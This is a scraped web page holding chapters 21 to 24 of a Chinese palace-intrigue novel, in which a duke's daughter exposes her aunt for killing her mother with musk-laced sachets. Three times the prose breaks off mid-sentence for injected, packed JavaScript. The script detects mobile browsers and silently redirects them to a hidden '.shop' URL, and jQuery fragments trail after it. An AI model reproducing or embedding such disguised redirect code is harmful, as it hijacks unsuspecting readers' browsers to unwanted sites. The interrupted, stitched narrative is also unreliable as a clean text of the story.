“正是！”珠连猛一点头，又忙得往外一指，“如今奴婢们都在列队侯着，只待国公爷行军归来，远远一号角，即刻开门迎接！” 珠连语速飞快，迫切得上气不接下气，喘了喘，继续兴奋描述，绘声绘色的：“小姐不知道，外头的百姓都乌压压得挤在一厢，可壮观了！” “方才老夫人吩咐，说该小姐去正堂了！” 21. 父亲 只听步履匆匆，甲叶轻撞，转眼的功夫，朝朔已至正堂。 他是被亲随簇拥而来。后者先行开路，现已止步肃立，分列候在门旁。 朝朔进门第一眼，便情不自禁地盯往下首。 见朝和垂眸立在东侧，安静不似往常，他心中一紧，长叹一声，径直下跪道：“朝朔远征在外，劳您挂念，常抱憾不能承欢膝下，如今得幸凯旋，特此问安，不知老夫人康泰否？” “你奔波辛苦，快快请起。”叶氏端坐主位，作势伸手道，“赖祖宗庇佑，老身一切安好，你劳心劳力替国效力，能平安归京已善莫大焉，既回来了，那便好好安顿吧。” 两人寒暄完毕，朝朔却眉心一跳。 他与女儿久别重逢本想话别家常，谁料叶氏末尾一句，竟堵死了他预计后路。 最终，朝朔只得深深望女儿一眼，应了句“是”，便转身离开，临别时，还不忘昂起脸，拱手吩咐：“阿和自小体弱多病，又闻她跌落假山，久立守候，恐怕吃不消，还请您准允她提前回房。” 说罢，他又转头朝西，礼貌致意：“阿彦，弟妹，面圣在即，我先走一步。” 朝朔刚迈两步，终忍不住回头，望女儿那厢叮嘱：“阿和。” “待爹回来，你我父女，坐卧谈心可好？”朝朔轻声说。 朝和听着他哄小孩般小心翼翼的语气，没来由地鼻头一酸，点头应了一声：“好。我等您。” “父亲，一路顺风。”她微微一笑，郑重屈膝，福身道。 朝朔眼眶泛红，他点了点头，很欣慰似的，欲言又止，却终究什么也没说，只步履匆匆赴往门外，不消片刻，就没了影踪，空余下原地默然凝望的朝和。 她眼神定定，似乎能瞧见明光铠荡起的烟土。 …… 书斋。 朝和一身月白襦裙，双手捧盅，款款向朝朔走来。 “怪我粗枝大叶，竟忘了熬汤。”她一面递，一面歉疚，“暂得委屈您拿参片茶将就将就，小厨房里，参汤已煨着了。” 朝朔接过，摇摇头，神色稍显落寞。 “不怨你，是爹未传家书。”他长叹一声，摩挲着杯壁，迟迟不舍下口，低声说，“爹此番归家，着实突然。阿和，可会生我的气？” 朝和闻言，心中五味杂陈。 宁国公一代枭雄，沙场上顶盔贯甲行兵布阵，运筹帷幄决胜千里；如今却蜗居书斋一隅。纵眼前是亲生女儿，也不由自主地小心翼翼。 有那么一瞬间，她几乎想告诉朝朔，他眼前的这个人，其实根本不是他的女儿。 可她敢说吗？ 她不敢，也不能说。 朝和心内愧疚，几番张口都欲言又止，终究将话咽下，摇摇头道：“怎么会？” “您能平安归来，我高兴还来不及。”她莞尔一笑，轻嗔着开口，“我又不是小孩子，才不可能跟您计较。” “阿和，成大姑娘了。”朝朔慨然长叹，眼里有些恍惚，神情依旧和蔼：“阿和能与爹亲近，为父便很欣慰了。” “我是您的女儿，自然跟您最好。”朝和温柔一笑，“父亲在外平乱，是顶天立地的大英雄，我晓得，心里也敬佩。至于家中琐事，有婶婶料理，女儿也会帮衬。父亲归家，调养是头等要紧，您千万注意身体，切莫因小事挂怀。” 朝朔心里感动，一听朝和后文却不大乐意：“国公府有你在，你娘——” 他顿了一下，又惆怅着接话：“又去得早，这偌大个府邸，爹也只有你这么个牵挂，好容易回来一趟，怎能不将你的时放在心上？” “爹远远走过来，一路上，迈一步便要感叹一句。蒹葭院重新修缮，却精巧更胜往昔，定是阿和费了不少功夫。我儿果真是蕙质兰心。”他夸完，又微微蹙眉，“只是听方才所言，你帮着赵氏做事，又是何意？” “怎么，这如今的国公府，竟不是你在管吗？” 见朝朔面带怒容，朝和抿了抿唇，斟酌了半响，倾身添茶垂眸试探道：“女儿大病初愈，年龄还轻，婶娘出于考量，忧心也是应当，父亲不必动怒。” 她愈如此说，朝朔眉心便皱得更紧，他很给面子地将朝和刚斟的茶饮下，道：“我虽在外，可京中事宜，尤其是国公府内，多多少少也有耳闻，你自恢复，少说也有几个月，婶娘婶娘，好歹也有个娘，怎么，她是觉得，你没这个能力吗？” 朝和听他忿忿，诧其真心，暗自又升起几分羞愧。父亲待女儿一片赤诚，女儿却在悄悄试探，这是什么道理？ 念及此，朝和沉吟着，索性开门见山道：“父亲，想让我掌家吗？”她直直望向朝朔。 “自然。”朝朔颔首，“说来说去，赵氏也只是代管。宅子里的事，下人这许多，为父也有听说。你既能独当一面，合该交由你管。谅二房将家产都搬出来，也不及我们一半多。” 朝和闻言，却一脸的若有所思，待他话落，便道：“父亲，女儿有事相求。” 见她肃然，朝朔也正襟危坐：“但说无妨。” “也没什么。只求明日请安时，您能许我在祖母面前狐假虎威罢了。”朝和弯唇，又补充道，“若效力不够，还得您配合演出戏。” …… 翌日请安完毕，见朝和尚立在原地，连朝朔也大有一副挑位子坐下的架势，叶氏这才觉出不对来。 “老大家的。”她歇下喝茶的手，肃目在二人脸上打量，“你们父女俩，可是有话要说？” 此言一出，连二房也止住了脚步。 “既如此，那我也留下。”朝彦说着，就要撩袍坐下，“瞧能不能帮得上大哥忙。” 赵氏闻言，再一瞥唇角含笑的朝和，总觉得没来由的心慌。可丈夫既已发话，她也只得携了女儿，随他依次坐下。 “祖母，是孙女有话要说。”朝和盈盈一拜，再抬首，却神色惆怅，“父亲归来，的确是极高兴的事，约莫娘也如此想，这才给我托了梦。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648924|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “算来，已有好几天了。”朝和言及此处，情上眉头，不禁掏出帕子捂住唇，呜呜了两声，还抽空往旁瞥了一眼。 见朝朔眉目沉沉饱含痛意，朝和心中歉疚。 她揪着心，又抬头回望。观叶氏满面阴沉神色肃穆，赵氏神情震惊难掩慌乱，朝和冷笑一声，叹赵氏造孽之事十有八九，随即一咬牙，又张口： “念及昨个儿父亲归京，大家伙热热闹闹，我也不好说出来扫兴。可憋来憋去，总不是个办法，如今，孙女再也忍不住了。” 看她下定决心似的神情，叶氏卷了卷干枯的嘴皮，径直发问：“和丫头，你究竟想说什么？” 她那头满心猜忌，朝朔在傍却已接到女儿的目光，附和似的开口：“不错，阿和。” “无论如何，你也得详说出来，有为父替你做主，你怕什么？” 朝朔不怒自威，朝和却仿佛正等着他这句话，当即顺溜接话，语气却抽抽搭搭：“谢父亲体谅，那阿和便一吐为快了。” 朝和说完，又望了望上首，神情满是孺慕：“祖母公断严明，有祖母与父亲，还听得这般关怀，阿和怎敢闭口不言？” 叶氏看在眼里，心也不瞎，她晓得这父女俩必是串好了口供，瞅准时机要讨说法。可她又能作甚？国公府到底是宁国公的府邸。 他要陪着女儿唱红脸，她也只能顺势点头，而后静观其变了。 “和丫头，莫卖关子了，究竟所为何？” 她此言一出，朝和立时开口，哽咽道：“母亲托梦，说她有套赤金镶宝石头面要送我，放在个嵌珍珠木盒里。娘说，先前觉得庄重，我不宜佩戴，如今既知人情世故，也时候了。” “可，我照娘给的地处，寻了有千百遍，也没个影踪。”朝和抽抽搭搭地说，“一套头面都在里头，想来，盒子也不会太小，怎会寻不到？” 说罢，朝和泣不成声。 朝朔沉默半响，却倏地开口，嗓音微颤：“阿和，那盒子，可是缀了只大蝴蝶的？” “父亲怎么知道？”朝和惊诧转眸，瞬间喜不自胜，“娘告诉我，她藏在床底了。前两日，婶婶还派了人，将院子翻了个底朝天，却依旧一无所获。” “兴许真是娘记错了。”朝和猜测，又忙问道，“父亲既有印象，可否将确切位置，告知女儿？娘说，那是她真爱的嫁妆，非寻到不可！” “阿和，你娘没记错。”朝朔望向女儿，神情眷恋又怀念，“当年，我亲眼看着她藏的。” “你娘有心了。”朝朔苦笑一声。想起妻子，他内心无限怅惘。 他这样喟叹了半响，却在望见叶氏拧着的面孔时瞬间清醒，而后倏地话锋一转，一字一顿地重复：“不过，你方才说，你二婶将蒹葭院翻了个底朝天？” 朝朔话落，不由瞥了女儿一眼，既心疼她遭此羞辱，又头疼她报喜不报忧，见后者垂眸不语，立时冷笑转头，缓缓开口：“此事，弟妹总该给阿和一个交代吧？” 22. 清算 登时仿佛一语落，万声雷，赵氏立时如五雷轰顶，神色仓皇面如土色。 她嘴唇颤抖了几下，哆哆嗦嗦地挤出个笑，试图装傻充愣蒙混过关：“大伯哥此言何意？” “妾身执掌中馈，出入库房，数年来，还从未失窃。若真乃我所为，照这么个道理，偌大个库房都成了我顺手牵羊之所，况论一套小小头面？” 赵氏脸上青一阵红一阵，瞧上去很无辜似的，仿佛所听净是无稽之谈。 朝朔却不吃她这套。 “你既说自己见惯了稀奇珍宝，犯不着偷盗，那便依你所言先将搜院缘由搁置一边，稍后探讨。” “我且问你，那些个搜院的混账，难道不是你的人？”朝朔质问道。 见赵氏似要启唇，他不禁冷笑出声：“你也休提辩解。我虽远离内宅，不清楚其间阴私，可为人父母，我儿有为岂能不知？倘若无人指使，小姐院落何人敢闯？还是如此大张旗鼓？” 赵氏见无从辩解，只得咽下嘴边说辞，硬起头皮承认道：“此事……的确是我考虑不周，才教阿和遭此一难。” 她说及此处，却倏地话锋一转：“可尽管如此，妾身也万万担不起看护不力的罪名。 大伯哥有所不知，我手底下人人本分。老实，利索，手脚也干净，府中常常交口称赞的，若非如此，必不敢起用啊！阿和是我亲侄女，我岂会害她？” 她言之凿凿，朝和却心内嗤笑。 信赵氏无害她之心，一切只为关怀？那可真是折煞她了。 赵氏倒好。朝和唇角讥诮，轻飘飘一语揭过，她蒙冤实情怎么不提？ 可惜，赵氏长辈身份在前，又一门心思地只与她爹搭话，朝和身为小辈，无论如何也插不上嘴。 为今之计，也唯有指望她爹了。 朝和眉目沉沉，攥住了袖口。 说来说去，库房不还是她管。朝和腹诽，在账本上藏一笔，府里散播几条传闻，于赵氏而言，还不是手拿把掐。 青的能说成红的，黑的能说成白的，到是她拿手好戏。 朝和如此想，朝朔亦是这般心思，索性冷声点明：“内宅事务全经你手，如今重宝失窃，你这个主管事自然首当其冲，还想卸责不成？” “家仆好坏，账目盈缺，还不是几锭银子的事。你如今道理，可站不住脚。” 他话音未落，赵氏的脸却已难看到极点。 她很清楚，朝朔所言俱实，可这般责任，她敢担吗？ 若顺嘴承认，偷盗属实事小，名声败坏事大，往后京城交际应酬，她该如何做人？ 赵氏咬咬牙，下意识朝丈夫瞥了一眼。 她本想使个眼色让他说上句话，谁料他神色阴沉不吭不响，甚至低着头，一个眼神都不分给她。 又是如此。赵氏心中啐了一口。 纸老虎一个还惯逞能，真挑上事儿了又担不住，游离事外高高挂起，也不晓得她是造了什么孽，才摊上这么个丈夫。 赵氏愈加忿忿，可望向朝朔的神情却丝毫未变，笑吟吟地反驳：“若照您的说法，那侄女丢了宝贝，还不是她张一张嘴的事，到底也不占理。” 见朝朔缄口不言似在思索，赵氏刚想乘胜追击，朝和却率先开口：“二婶的意思，莫非是指我品行不端，下人也手脚不净？” 她顿了一下，又慢条斯理道：“二婶可曾记得，我昔日整顿院落一事？” “记得又如何？”赵氏不满，“还请侄女就事论事，莫要转移话题。” 朝和闻言，也不恼，反而从容一笑：“我未置一词，二婶竟已知我所思所想，如此果断，委实令人敬佩。依鄙愚见，您听过再揣测也不迟。” 朝和面含讥讽，赵氏火冒三丈，当即就要反驳，可她刚道一声“你”，朝和便抢先截过话头。 只听她笑吟吟道： “您既明当日事宜，则我出手大方、待下最厚、赏赉最丰、阖府无人能及之实也必定洞悉。” “再者，栖霞、蒹葭二院相隔甚远，一西一东横跨公府，您都耳聪目明，蒹葭院的奴才近在咫尺，岂能不知我御下严明恩赏过人？赏罚交加震慑之下还敢顶风偷盗，我怎不知，我院子里还有这般勇士？” “何况那宝贝本是不传之秘，贴身的吴嬷嬷早被遣送回家，敢问二婶——”朝和直勾勾盯着赵氏，“区区洒扫奴才，又是从何而知？” “迄二婶搜院前，蒹葭院都整整齐齐，未改分毫。”朝和瞥她一眼，叹息着讥嘲，“您一来便翻了个个儿，想不变都难。” 赵氏一时语塞，又气急败坏道：“你手下人尚无从知晓，况论是我？怎么，你空口污蔑，竟不讲实证吗？今日老太太跟前，你也敢恣意妄为！” “二婶一上来便扣这么大顶帽子，我可不敢当。”朝和冷笑，“我可不似某人，会平白无故诽谤。” 她意有所指，款款一笑道：“二婶分明再清楚不过。” “您与我母亲，可是故交。” 朝和嗓音很轻，赵氏却如遭雷劈，她难以置信地喃喃道：“什么？你怎么会……” “二婶不必着急。您要凭证，我给您便是。”朝和颔首，倏地低头叹息，“只是，为着一桩小事，便要将陈年旧事扯出来，二婶这笔买卖，可不划算。” 朝和似笑非笑，赵氏顿感不妙。 她不知此等秘事朝和是从何而来，分明旧人已全被她驱赶干净了！ 赵氏仓皇抬眼，慌乱想辩驳，可朝和岂容她开口？ 她转头的空当，朝和已张口唤了一声。 “小翠！” 她面朝赵氏，一字一顿，目含霜刀：“你可要一五一十，将多年旧事好好诉明，免得二婶依旧不清不楚。” 而赵氏，早在“小翠”二字一出，便身形僵硬，面部惨白。 她眼睁睁看着绿衫的妇人走出来、又朝朝和深深行了一礼，终于难以置信地启唇：“你怎么会——你竟然——” 赵氏失声尖叫。 最后两个字却堵在喉咙眼似的，怎么也说不出来。 小翠深吸一口气。 “多亏上天保佑，奴婢才侥幸捡回条命。”她眼眶泛红，情急之下，倏地声色激昂，“可见人在做，天在看！” 话落，小翠“扑通”一声，朝朝朔跪下，转眼已潸然泪下： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688645|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “国公爷！老天留了奴婢一条命，大约就是为了今天！” “夫人之所以难产血崩，赖因她所佩香囊之故！而夫人身边所有香囊——”小翠恨恨望向赵氏，“尽数为二夫人所赠！” “香囊回回换新，却次次掺麝香。剂量是不算大，可夫人身怀有孕，长此以往，少量多次，她如何受得住？”小翠满脸悲愤，又仰望朝朔，“国公爷，您是知道我的。 奴婢自小服侍夫人，从无怠慢。所言句句属实，绝不敢欺瞒！否则，便叫五雷轰顶，全家不得善终！” 她话落，又是一个深叩首。 而朝朔已青筋暴起。他紧握扶手，望向赵氏，怒火中烧：“你还有什么话要说？” 赵氏面如土色，却仍在垂死挣扎：“她胡说！你安知不是她贼喊捉贼？” 她指着小翠怒骂。 “她收拾遗物时偶感不对，悄悄带出交由郎中查验，才得以确认。有何不对？”朝和冷笑，“倒是你，怎的反应这般剧烈？” “莫非是做贼心虚，气急败坏，恼恨十几年前自己执掌中馈对府中大换血，以为天衣无缝，实则百密一疏？” “——你怎会知晓？”赵氏大惊失色，心中所想脱口而出，随即对上朝和审视目光，才悔不当初自觉失言。 她喉咙吞咽了一下，又强振精神嚷嚷：“纵香囊真出自我手又如何？保不齐是有人暗塞麝香，接机构陷与我！” 朝和冷笑：“你既不认小翠这个人证，也好。” “那便如你的意，换个更令人信服的。” 她还有旁人作证？赵氏惊疑，可这怎么可能？ 当日接生稳婆俱年事已高，无论如何也不该尚存于世。便是活着的，从乡下赶来京城，舟车劳顿，怕是半路就一命呜呼了。 崔氏身边除了个小翠，难道还有别的侍女不成？ 赵氏愈笃定，便愈犹疑，她观朝和胸有成竹，正疑其下文，却见后者不声不响，只管投角落以目光。 ——角落？角落有什么？ 赵氏虽觉古怪，却依旧循其望去，须臾，竟难以置信瞪大了双眼。 “朝仪？” 赵氏目瞪口呆。 ——怎么可能？ ——她那个懦弱无知的女儿？ ——怎么可能！ 赵氏怔愣半响，挣扎着神思稍定，又下意识呵斥道：“你站起来作甚？” 她蹙眉瞪着朝仪，将其扫视一通，不假思索地拿出了母亲的威势，不耐烦地喝道：“如此场合，穿得这般寒碜，竟有脸起身丢人现眼，还不速速坐下？” 可朝仪却无动于衷。 她依旧默不作声，甚至往前进了一步，垂眸微微欠身，面向朝朔。 “伯父。”朝仪嗓音纤细，但坚定有力，“麝香购入相关事宜，其尽数被我娘写入账本，我亲眼所见。” 她盈盈一拜，却仿佛掷地有声。 举座皆惊。 “你疯了？”朝容愕然。 “我没有。”朝仪目视前方，头也没回，神情一如既往，沉静无波。 四顾茫然。 赵氏先回过神来。 23. 反目 “你这个愚蠢无知的丫头！你究竟知不知道自己在说什么？”赵氏高声呵斥，怒目圆睁。 朝仪却神色平和。 “再清楚不过了。”她微微俯身，依旧不曾回头，只恭敬朝朝朔拱手，“伯父，我所言据实，您可寻相干管事，取账本来，一一过目。” 朝朔闻言，眉心倒拧。 他无声抬手，示意一旁不安狂躁的赵氏安静，侧眸吩咐亲信：“赤羽，你去，盯紧些，别让他偷奸耍滑。” “若他‘错拿’，你家法伺候。”朝朔缓声开口，神情不怒自威，忖度半响，又补充道，“莫忘了将纸笔、印泥一并取来。” “本国公要亲自盯着他写供状。”朝朔冷声吩咐。 只见有个腰间佩剑、神情端肃的魁梧大汉应了一声，便狂奔出去了，而赵氏盯着他的背影，依旧呆若木鸡。 须臾，她嘴唇嗫嚅了几下，终于泫然欲泣。 “国公爷，您要相信我啊。”赵氏上前几步，潸然泪下，“同居一宅，经年累月，我之为人，您看在眼里，岂会有害人之心？” “至于小女——”她顿了顿，偷偷瞥了一眼朝朔，见其容色沉郁、未置一词，又慌忙开口，生怕耽误时机，“素日便爱胡言乱语，不仅不友爱姊妹，对我与夫君还连番顶撞，不孝女妄加揣测，怎堪信得？” 赵氏言之凿凿，对朝仪高声诋毁，当事人却缄口不言，始终面不改色。 她充耳不闻，对母亲污蔑无动于衷，仿佛习以为常。 朝和在傍，冷眼相看良久，眉心突突直跳，忍不住冷笑出声：“人证物证据在，你还是别垂死挣扎得好。” 她语声未尽，赵氏已怒目以视：“你——” “——你什么你？”朝和不甘示弱地瞪她一眼，“我好言相劝，二婶不谢也罢了，怎么还恩将仇报？” 不等赵氏反驳，她又轻声警告：“我可没有爹和三妹那样好的脾气，不管是被巴巴缠上，还是被反咬一口，都是仇怨必报的。” “造孽应报，天经地义，你也不必如此看我。”见赵氏咬牙切齿，朝和颔首，示意她抬头远望。 “瞧。”朝和弯唇，笑意不达眼底，“你的业报来了。” 只见一个灰紫袍衫的管事弓腰驼背，跌跌撞撞地走进来，眼见是吃了不少好打。 看他磨磨蹭蹭，不愿挪步，赤羽眉毛倒竖，不禁大喝一声：“国公爷在此，还不叩头？” 后者闻声，当即匍匐，嗓音颤抖：“小人赵峰，给国公爷请安！” 朝朔一见他就蹙眉：“恭维就免了。” “凡此诸事，想必赤羽已为你一一道明。”见他缩头缩脑、连声应“是”，朝朔言简意赅，沉声开口，“账本拿来。” 赵峰将账本双手奉上，顺带悄悄抬眼察颜观色。这一瞧，朝朔倒不要紧；可他瞄了眼赵氏，竟瞬间大惊失色。 昨日还趾高气昂、光鲜亮丽的夫人，如今竟这般狼狈，神情还颓废不堪。 观其形容，赵峰心惊胆战，他万料不到，此事竟真如领他前来的侍卫所说，再无回转余地。 几日前，夫人还信心满满，嘲笑他杞人忧天，说此事万无一失。 ——十几年前亦如此。 见她言之凿凿，胸有成竹，他才按住疑虑，认她做主，替她做事。 好在事态发展如她所料，因其缘故，赵峰地位也水涨船高，在府中也算得上盘踞一方的人物。 怎么如今短短一夜功夫，竟会变了天呢？ 念及自己也牵涉其中，赵峰忍不住心惊肉跳。 恰逢此时，朝朔终于翻罢了账本。 他俯视赵峰，面带审视：“你姓赵？莫非是赵青言的亲戚？” 赵峰颤颤巍巍抬起头，忙不迭应声：“是，是——” 他言及此处，却倏地话锋一转，猛得回神似的躬身将头埋在臂弯里，绞尽脑汁地想撇清干系：“小人，小人不敢高攀，占了个名头罢了，只有层微末血缘关系，不足挂齿。” 赵峰脱身意图太明显，以至话音未落，朝朔便深锁浓眉。 “油嘴滑舌！”他厉声呵斥，“啪”得一声将账本摔在地上，“坑蒙拐骗，真是好大的胆子！” “赤羽！”朝朔背起手，倏地一声大喝，“你按着他写！” 他久经沙场，此刻威压未收，赵峰刚战战兢兢地抬起眼，见朝朔满面怒容，当即“扑通”一声跪下，大声求饶：“国公爷恕罪！国公爷恕罪！” 他跪伏在地，抖如筛糠；赵氏神思不属，也跌坐一旁。 她心知自己大势已去，却仍缓缓转眸，投朝仪以难以置信的目光。 赵氏嘴唇颤抖，唇缝里无声地挤出几个字—— “为什么？” 为什么连亲生女儿也要背叛她？ 赵氏浑身无力，却死死盯住朝仪，仿佛不甘心的溺水之人要抓住最后一根稻草。 可朝仪只是注视着她，神情无波无澜，依旧一言不发。 她分明与自己近在咫尺，可赵氏恍惚间竟觉得，她二人间距甚远，甚至如隔天堑。 怎么会？她们不是母女吗？赵氏满心茫然。 究竟自何时起，朝仪变成这样？ 她尚在怅惘细想，这厢朝朔已冷声宣判：“赵氏谋害吾妻，折辱我儿，恃强凌弱，中饱私囊，如今人证物证确凿，赤羽，辛苦你稍后与青锋再跑一趟，将赵氏押送大理寺。” “至于刁奴赵峰——”朝朔有意停顿，垂眸扫了一眼脚下，见赵峰闻声希冀着微微抬头，不由冷笑一声，讥诮道，“即刻杖毙。” “拖下去吧。”他淡声吩咐。 朝朔一声令下，左右齐齐动手，即刻便将赵峰挟至门外，四顾寂静，只余下后者难以置信的哭嚎落在耳边，愈来愈远，直至再听也不见。 而赵氏失魂落魄，依旧跪坐在原地。 朝朔虽对她恨之入骨，但念及其弟妇身份，终究不得不望向朝彦。 后者却安坐席间，神情淡漠，俨然是副事不关己高高挂起的姿态。观此情形，朝朔难免心寒：他知其夫妻不睦，却万万没想到众目睽睽之下、朝彦依旧无情至如此地步。 ——尤其此刻还是在下人跟前。 无论如何，朝彦这个二爷，都不该作这般姿态。 念及长兄如父，自己又是一府之主，朝朔恨铁不成钢之下，重重皱起了眉：“二弟，你究竟为人丈夫。” “岂能……”朝朔难以启齿，而朝彦尚未反应，赵氏竟先缓缓抬头，略含希冀地投丈夫以希冀目光。 朝彦沉寂已久，忽被点名，不由愣了一下。 他回神抬眸，惊觉朝朔不满，遂忙不迭表态，痛心疾首道：“贱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708408|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内如此罪孽，小弟愧不敢言，只求大哥念在其与小弟结发一场、共育子嗣的份上，准许其休养片刻再动身。” 朝彦话落，顿了顿，深深望了眼赵氏，哽咽一声道：“也算是，尽一点为人丈夫的本分。” 他似言及情动处，话音至半，竟已潸然泪下。 朝朔见状，不由五味杂陈，他斟酌半响，慨然长叹：“……你，好好安抚孩子。” 见其似有不忍般彻底转头，朝彦应了一声，才掩面拭泪。 朝朔隐隐动容，赵氏却满心悲凉。 成婚十几载，朝彦为人如何，她再清楚不过。 她望着朝彦，仿佛那几滴眼泪没能落其襟摆，而是“砰”得一声砸下来，碎成了几瓣，又慢慢地凝成了冰，结在心尖上。 它拼命地往下坠，使劲拽着她，更冻得她生疼，最终，她心上冒着的那点微末的热气，也随着呵气、跟着叹息，迎风飘散，而后全无踪迹。 ——她彻底没了感觉。 人是热的，心却是冷的。赵氏自嘲地想。她当初九死一生产下朝仪，朝彦都不曾掉过眼泪，不过是胡乱扫了眼襁褓，见是个女儿，将眉一皱，便撒手而去。 难不成她濒死之际、与他相看两厌之时，他便能想起夫妻情分、开始顾念旧情了吗？ 荒谬。赵氏惨然一笑。 可她又与朝彦，又有什么不同？赵氏看了眼朝仪，想——在与后者对视的刹那，她又受惊似的收回目光，不安敛眸。 泪珠缓缓爬过赵氏的腮帮，滴过下巴，最终滑落在湿冷的衣襟里，最终消失不见。 赵氏视线模糊。 她望着窗棂。恍惚间，她似乎看见了出嫁后的第一个冬日，与朝彦相敬如宾的情景。 言笑晏晏，举案齐眉，记忆永久鲜活。 赵氏瞧着瞧着，出神得眼都不眨，唇边甚至勾出个浅笑。 可倏然一声喟叹，她竟闭上了眼。 罢了，都过去了。赵氏松开紧绷的手，长舒了一口气。 雪花再精致，也要消融。无心无情的东西，终归如此。 争争抢枪一辈子，也不算白来一趟。 她苦笑了一下，神情却出乎预料地很从容。 …… 朝容浑浑噩噩，被朝彦拖回了院落。 她冷汗淋漓，只觉得做了一场醒不来的噩梦。 她什么都不记得，只忘不了赵氏佝偻的身躯，和愈来愈小、淹没在她泪水中的背影。 朝容几乎要哭到晕厥了。 她拼了命地伸出双手，连滚带爬地跪地求救，却被朝彦一把拽走。 朝容的哭闹，只换来了父亲响亮的一记耳光、火辣辣的脸颊、难以置信的怔愣，妹妹假心假意的安慰，以及死一般的寂静。 ——妹妹。 朝容僵硬转头。 ——是啊，她怎么忘了。 朝容咧开惨白的牙齿，露出一个森然的笑。 她脸上泪痕未干，又哭又笑，神情凄冷。 朝容最后瞧了朝仪一眼，随即猛得扑上前，一把掐住了她的脖颈，神情无比疯魔：“说！” “你为什么要害娘！”朝容歇斯底里地逼问道，“为什么！” “你们！你们可是……亲母女啊！”她嗔目切齿，说及此处，却倏地手一松，而后潸然泪下。 24. 姐妹 朝容盛怒之下，仍死死攥着朝仪的衣领，手上青筋毕露。她气力之大，迫使朝仪不得不仰头。 后者脸涨得通红，发白的唇却颤抖。 朝仪咳了几声，求生的本能催促她扒开朝容的手，但其丝毫未动。兴许是因为她存着破罐子破摔的念头，亦或是她与朝容之间，还有些姐妹情分未能消磨。总之，朝仪悄悄紧咬着牙关，面上却无波无澜，好似所见所闻，皆不堪入目。 这样云淡风轻，仿佛看透一切的神情，落在怒火中烧的朝容眼中，无疑是最大的藐视。 ——怎么自己满腔愤恨不得疏解，罪魁祸首倒能若无其事、无心悔过？ 朝容愈想愈气，满心忿忿不公。 她瞪着朝仪，目光凛冽，寸寸在其脸上审度。猝不及防间，四目相对，朝仪面不改色，朝容竟忍不住惊呼出声：“……你怎么？” 朝容面露迟疑。 她讷讷发问，朝仪却依旧眼底沉沉，仿佛阴云浓重，沉积着化不开的哀愁。乌漆漆的眸光与其交织在一处，朝仪先前又刻意敛眸，粗看一眼，她心底真情，朝容还真觉察不住。 朝容敛目细看，却难得神色愣怔。她脸上竟露出些恍惚，但终究是一点而已。 这样的神情，转瞬即逝，可谓是一闪而过。 不过须臾时候，朝容又摇摇头。及其再看向朝仪，已荡平了茫然思绪。细看朝容，只觉满目狠厉。 她一咬牙，随即发了狠地一把揪住朝仪衣领，怒气冲冲地大吼：“我以为——你？你竟也有良心吗？” 朝容声嘶力竭，嗓音显然沙哑，泪珠不争气地从脸颊滚落。 一颗一颗，却来势汹汹。 似断线的珠子，噼里啪啦地，全砸在朝仪脸上——很烫，却并不疼。 她二人的眼泪和在一起，水痕蔓延，也分不清谁哭得多。 朝仪流着泪，依旧丝毫未动。 她一言未发，只是静静地、静静地凝视着神情激动的长姐，也知晓她视线模糊。 见状，朝仪垂眸，心也在隐隐发疼。但她知晓，走到今天这个地步，依着朝容刨根问底的本性，有些事，不得不说——纵然她再不情愿。 念及此，朝容咬咬唇，又咳嗽了两声。终于，她深吸一口气，仿佛决心已定。她看了一眼长姐，逼自己狠下心，便使尽浑身气力，一把推开朝容，头一回朝她咆哮：“你以为我便想吗？” “自知事起，绫罗绸缎、玉盘珍馐，哪样不是先紧你挑？可我呢？”朝仪质问，泪止不住地流。纵觉察朝容怔愣力弛，她也犟得不去擦，只兀自别过脸，哽咽道：“我只配捡你剩下的、不喜的，甚至是旧衣裳。” “我以为……”朝容瞳眸震颤，失神间，忍不住喃喃，“我以为，你是偏爱蓝色……” “蓝色？”朝仪神情古怪，轻声重复。 她看着朝容，倏地哂然一笑：“姐姐，你还是那么天真。” 闻其喟叹，朝容不明所以，后者却幽幽开口：“你还记得映蓝吗？” 映蓝？那个粗手粗脚，笨嘴拙舌的丫头？朝容茫然地想，依稀记得是个圆脸姑娘，跟在朝仪身边，与其形影不离。 后来她销声匿迹，自此，朝仪便郁郁寡欢。 映蓝，映蓝。朝容边念叨，边发怵。她琢磨了些时候，却倏地有了个可怕的猜测。 朝容神情呆滞，不可置信道：“难不成……死了？” 她瞪大了眼珠。 映蓝那丫头，朝容见过。长得憨傻，脑袋也不灵光，逢人倒中气十足。前些年还好端端的，毫无征兆，却说殁就殁，究竟真有其事吗？ 朝容满心惊愕，所思所想亦全写在脸上，明明白白的，旁人瞥一眼便懂。 “不然呢？”朝仪眼神空洞，幽幽开口。她缓缓转头：“你以为映蓝是怎么死的？” 